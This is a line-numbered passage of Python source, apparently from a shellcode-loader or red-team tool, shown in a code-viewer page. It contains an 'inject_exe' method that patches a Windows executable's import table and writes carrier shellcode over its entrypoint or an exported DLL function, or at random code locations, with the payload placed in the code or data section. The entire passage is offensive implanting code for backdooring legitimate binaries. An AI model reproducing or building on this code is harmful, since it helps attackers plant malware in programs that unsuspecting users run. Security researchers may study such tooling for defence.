(self)
| 116 | ## Inject |
| 117 | |
| 118 | def inject_exe(self): |
| 119 | exe_in = self.settings.get_inject_exe_in() |
| 120 | exe_out = self.settings.get_inject_exe_out() |
| 121 | |
| 122 | logger.info("-[ Injecting Carrier into injectable".format()) |
| 123 | logger.info(" Injectable: {} -> {}".format(exe_in, exe_out)) |
| 124 | logger.info(" Implant IAT fixup if necessary: {}".format(self.settings.fix_missing_iat)) |
| 125 | |
| 126 | # Patch IAT (if necessary and wanted) |
| 127 | self.injectable_patch_iat() |
| 128 | |
| 129 | carrier_shc_len = len(self.carrier_shc) |
| 130 | carrier_offset: int = 0 # file offset |
| 131 | |
| 132 | if self.settings.carrier_invoke_style == CarrierInvokeStyle.OverwriteFunc: |
| 133 | if self.settings.payload_location == PayloadLocation.CODE: |
| 134 | # Carrier and Payload both in .text section in a function |
| 135 | func_addr: int|None = None |
| 136 | if self.settings.dllfunc != "" and self.injectable.superpe.is_dll(): |
| 137 | func_addr = self.superpe.get_export_vaddr_by_name(self.settings.dllfunc) |
| 138 | else: |
| 139 | func_addr = self.superpe.get_entrypoint() |
| 140 | self.carrier_rva = func_addr |
| 141 | |
| 142 | # payload is behind the carrier shellcode |
| 143 | self.payload_rva = self.carrier_rva + len(self.carrier_shc) |
| 144 | |
| 145 | elif self.settings.payload_location == PayloadLocation.DATA: |
| 146 | # Carrier in a function, Payload random in data section |
| 147 | func_addr: int|None = None |
| 148 | if self.settings.dllfunc != "" and self.injectable.superpe.is_dll(): |
| 149 | func_addr = self.superpe.get_export_vaddr_by_name(self.settings.dllfunc) |
| 150 | else: |
| 151 | func_addr = self.superpe.get_entrypoint() |
| 152 | |
| 153 | self.carrier_rva = func_addr |
| 154 | |
| 155 | # payload is somewhere in .rdata section |
| 156 | self.payload_rva = self.get_random_data_payload_rva() |
| 157 | |
| 158 | # copy carrier shellcode into the code section (at func) |
| 159 | carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva) |
| 160 | self.superpe.pe.set_bytes_at_offset(carrier_offset, self.carrier_shc) |
| 161 | logger.info(" Inject: OverWrite {} with Carrierat 0x{:X} (0x{:X})".format( |
| 162 | self.settings.dllfunc if self.settings.dllfunc else "DllMain", |
| 163 | self.carrier_rva, carrier_offset)) |
| 164 | |
| 165 | elif self.settings.carrier_invoke_style == CarrierInvokeStyle.BackdoorFunc: |
| 166 | if self.settings.payload_location == PayloadLocation.CODE: |
| 167 | # Carrier and Payload depend on each other (both are in .text) |
| 168 | self.payload_rva, self.carrier_rva = self.get_random_carrier_and_payload_rva_in_code() |
| 169 | elif self.settings.payload_location == PayloadLocation.DATA: |
| 170 | # Carrier and Payload are independent |
| 171 | self.payload_rva = self.get_random_data_payload_rva() |
| 172 | self.carrier_rva = self.get_random_code_carrier_rva() |
| 173 | |
| 174 | # copy carrier shellcode into the code section |
| 175 | carrier_offset = self.superpe.get_offset_from_rva(self.carrier_rva) |
no test coverage detected